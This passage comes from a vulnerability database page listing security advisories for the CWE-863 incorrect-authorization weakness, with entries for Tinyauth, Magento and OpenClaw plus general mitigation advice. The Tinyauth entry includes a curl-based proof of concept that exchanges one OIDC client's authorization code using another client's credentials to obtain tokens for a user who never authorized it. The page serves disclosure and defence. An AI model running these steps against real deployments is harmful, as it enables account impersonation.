      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45328"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.fortinet.com/psirt/FG-IR-24-261"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XG2Q-62G2-CVCM

Vulnerability from github – Published: 2026-03-12 16:38 – Updated: 2026-03-24 21:11
VLAI
Summary
Tinyauth's OIDC authorization codes are not bound to client on token exchange
Details

Summary

The OIDC token endpoint does not verify that the client exchanging an authorization code is the same client the code was issued to. A malicious OIDC client operator can exchange another client's authorization code using their own client credentials, obtaining tokens for users who never authorized their application. This violates RFC 6749 Section 4.1.3.

Details

When an authorization code is created, StoreCode at internal/service/oidc_service.go:305-322 correctly stores the ClientID alongside the code hash in the database (line 316).

During token exchange at internal/controller/oidc_controller.go:267-309, the handler retrieves the code entry at line 268 and validates the redirect_uri at line 291, but never compares entry.ClientID against the requesting client's ID (creds.ClientID). The code proceeds directly to GenerateAccessToken at line 299.

The developers clearly intended this check to exist, the refresh token flow at internal/service/oidc_service.go:508-510 has the exact guard: if entry.ClientID != reqClientId { return TokenResponse{}, ErrInvalidClient }. It was simply omitted from the authorization code grant.

The entry.ClientID field is stored in the database but never read during authorization code exchange.

PoC

Prerequisites: a tinyauth instance with two OIDC clients configured (Client A and Client B). Both clients must have at least one overlapping redirect URI, or the attacker must be able to intercept the authorization code from Client A's redirect (via referrer leak, browser history, log access, etc.).

Step 1 — Log in as a normal user:

curl -c cookies.txt -X POST http://localhost:3000/api/user/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin123"}'

Step 2 — Authorize with Client A:

curl -b cookies.txt -X POST http://localhost:3000/api/oidc/authorize \
  -H "Content-Type: application/json" \
  -d '{"client_id":"client-a-id","redirect_uri":"http://localhost:8080/callback","response_type":"code","scope":"openid","state":"test"}'

Extract the code parameter from the redirect_uri in the response.

Step 3 — Exchange Client A's code using Client B's credentials:

curl -X POST http://localhost:3000/api/oidc/token \
  -u "client-b-id:client-b-secret" \
  -d "grant_type=authorization_code&code=<CODE_FROM_STEP_2>&redirect_uri=http://localhost:8080/callback"

The server returns a valid access_token, id_token, and refresh_token. Client B has obtained tokens for a user who only authorized Client A.

Impact

A malicious OIDC relying party operator who can intercept or observe an authorization code issued to a different client can exchange it for tokens under their own client identity. This enables user impersonation across OIDC clients on the same tinyauth instance. The attack requires a multi-client deployment and a way to obtain the victim client's authorization code (which is passed as a URL query parameter and can leak through referrer headers, browser history, or server logs). Single-client deployments are not affected.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/steveiliop56/tinyauth"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.1-20260311144920-9eb2d33064b7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32245"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-12T16:38:42Z",
    "nvd_published_at": "2026-03-12T19:16:19Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe OIDC token endpoint does not verify that the client exchanging an authorization code is the same client the code was issued to. A malicious OIDC client operator can exchange another client\u0027s authorization code using their own client credentials, obtaining tokens for users who never authorized their application. This violates RFC 6749 Section 4.1.3.\n\n### Details\n\nWhen an authorization code is created, `StoreCode` at `internal/service/oidc_service.go:305-322` correctly stores the `ClientID` alongside the code hash in the database (line 316).\n\nDuring token exchange at `internal/controller/oidc_controller.go:267-309`, the handler retrieves the code entry at line 268 and validates the `redirect_uri` at line 291, but never compares `entry.ClientID` against the requesting client\u0027s ID (`creds.ClientID`). The code proceeds directly to `GenerateAccessToken` at line 299.\n\nThe developers clearly intended this check to exist, the refresh token flow at `internal/service/oidc_service.go:508-510` has the exact guard: `if entry.ClientID != reqClientId { return TokenResponse{}, ErrInvalidClient }`. It was simply omitted from the authorization code grant.\n\nThe `entry.ClientID` field is stored in the database but never read during authorization code exchange.\n\n### PoC\n\nPrerequisites: a tinyauth instance with two OIDC clients configured (Client A and Client B). Both clients must have at least one overlapping redirect URI, or the attacker must be able to intercept the authorization code from Client A\u0027s redirect (via referrer leak, browser history, log access, etc.).\n\nStep 1 \u2014 Log in as a normal user:\n\n```\ncurl -c cookies.txt -X POST http://localhost:3000/api/user/login \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"admin\",\"password\":\"admin123\"}\u0027\n```\n\nStep 2 \u2014 Authorize with Client A:\n\n```\ncurl -b cookies.txt -X POST http://localhost:3000/api/oidc/authorize \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"client_id\":\"client-a-id\",\"redirect_uri\":\"http://localhost:8080/callback\",\"response_type\":\"code\",\"scope\":\"openid\",\"state\":\"test\"}\u0027\n```\n\nExtract the `code` parameter from the `redirect_uri` in the response.\n\nStep 3 \u2014 Exchange Client A\u0027s code using Client B\u0027s credentials:\n\n```\ncurl -X POST http://localhost:3000/api/oidc/token \\\n  -u \"client-b-id:client-b-secret\" \\\n  -d \"grant_type=authorization_code\u0026code=\u003cCODE_FROM_STEP_2\u003e\u0026redirect_uri=http://localhost:8080/callback\"\n```\n\nThe server returns a valid `access_token`, `id_token`, and `refresh_token`. Client B has obtained tokens for a user who only authorized Client A.\n\n### Impact\n\nA malicious OIDC relying party operator who can intercept or observe an authorization code issued to a different client can exchange it for tokens under their own client identity. This enables user impersonation across OIDC clients on the same tinyauth instance. The attack requires a multi-client deployment and a way to obtain the victim client\u0027s authorization code (which is passed as a URL query parameter and can leak through referrer headers, browser history, or server logs). Single-client deployments are not affected.",
  "id": "GHSA-xg2q-62g2-cvcm",
  "modified": "2026-03-24T21:11:30Z",
  "published": "2026-03-12T16:38:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/steveiliop56/tinyauth/security/advisories/GHSA-xg2q-62g2-cvcm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32245"
    },
    {
      "type": "WEB",
      "url": "https://github.com/steveiliop56/tinyauth/commit/b2a1bfb1f532e87f205fa3afa3fc9f148c53ab89"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/steveiliop56/tinyauth"
    },
    {
      "type": "WEB",
      "url": "https://github.com/steveiliop56/tinyauth/releases/tag/v5.0.3"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-4689"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Tinyauth\u0027s OIDC authorization codes are not bound to client on token exchange"
}

GHSA-XG36-8C2V-JPXH

Vulnerability from github – Published: 2024-10-10 12:31 – Updated: 2024-10-11 18:24
VLAI
Summary
Magento Open Source Incorrect Authorization vulnerability
Details

Magento Open Source versions 2.4.7-p2, 2.4.6-p7, 2.4.5-p9, 2.4.4-p10 and earlier are affected by an Incorrect Authorization vulnerability that could result in a security feature bypass. A low-privileged attacker could exploit this vulnerability to have a low impact on integrity. Exploitation of this issue does not require user interaction.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.7-beta1"
            },
            {
              "fixed": "2.4.7-p3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.6-p1"
            },
            {
              "fixed": "2.4.6-p8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.5-p1"
            },
            {
              "fixed": "2.4.5-p10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.4-p11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.7"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.6"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.5"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.4"
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45125"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-11T18:24:29Z",
    "nvd_published_at": "2024-10-10T10:15:05Z",
    "severity": "MODERATE"
  },
  "details": "Magento Open Source versions 2.4.7-p2, 2.4.6-p7, 2.4.5-p9, 2.4.4-p10 and earlier are affected by an Incorrect Authorization vulnerability that could result in a security feature bypass. A low-privileged attacker could exploit this vulnerability to have a low impact on integrity. Exploitation of this issue does not require user interaction.",
  "id": "GHSA-xg36-8c2v-jpxh",
  "modified": "2024-10-11T18:24:30Z",
  "published": "2024-10-10T12:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45125"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/magento/magento2"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/magento/apsb24-73.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Magento Open Source Incorrect Authorization vulnerability"
}

GHSA-XG59-F45V-9R9J

Vulnerability from github – Published: 2026-03-31 12:31 – Updated: 2026-04-06 22:45
VLAI
Summary
Duplicate Advisory: OpenClaw's MS Teams sender allowlist bypass when route allowlist is configured and sender allowlist is empty
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-g7cr-9h7q-4qxq. This link is maintained to preserve external references.

Original Description

OpenClaw before 2026.3.8 contains a sender allowlist bypass vulnerability in its Microsoft Teams plugin that allows unauthorized senders to bypass intended authorization checks. When a team/channel route allowlist is configured with an empty groupAllowFrom parameter, the message handler synthesizes wildcard sender authorization, permitting any sender in the matched team/channel to trigger replies in allowlisted Teams routes.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
2.3 (Low)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-06T22:45:43Z",
    "nvd_published_at": "2026-03-31T12:16:30Z",
    "severity": "LOW"
  },
  "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-g7cr-9h7q-4qxq. This link is maintained to preserve external references.\n\n### Original Description\nOpenClaw before 2026.3.8 contains a sender allowlist bypass vulnerability in its Microsoft Teams plugin that allows unauthorized senders to bypass intended authorization checks. When a team/channel route allowlist is configured with an empty groupAllowFrom parameter, the message handler synthesizes wildcard sender authorization, permitting any sender in the matched team/channel to trigger replies in allowlisted Teams routes.",
  "id": "GHSA-xg59-f45v-9r9j",
  "modified": "2026-04-06T22:45:43Z",
  "published": "2026-03-31T12:31:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-g7cr-9h7q-4qxq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34506"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/88aee9161e0e6d32e810a25711e32a808a1777b2"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-sender-allowlist-bypass-in-microsoft-teams-plugin-via-route-allowlist-configuration"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: OpenClaw\u0027s MS Teams sender allowlist bypass when route allowlist is configured and sender allowlist is empty",
  "withdrawn": "2026-04-06T22:45:43Z"
}
Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list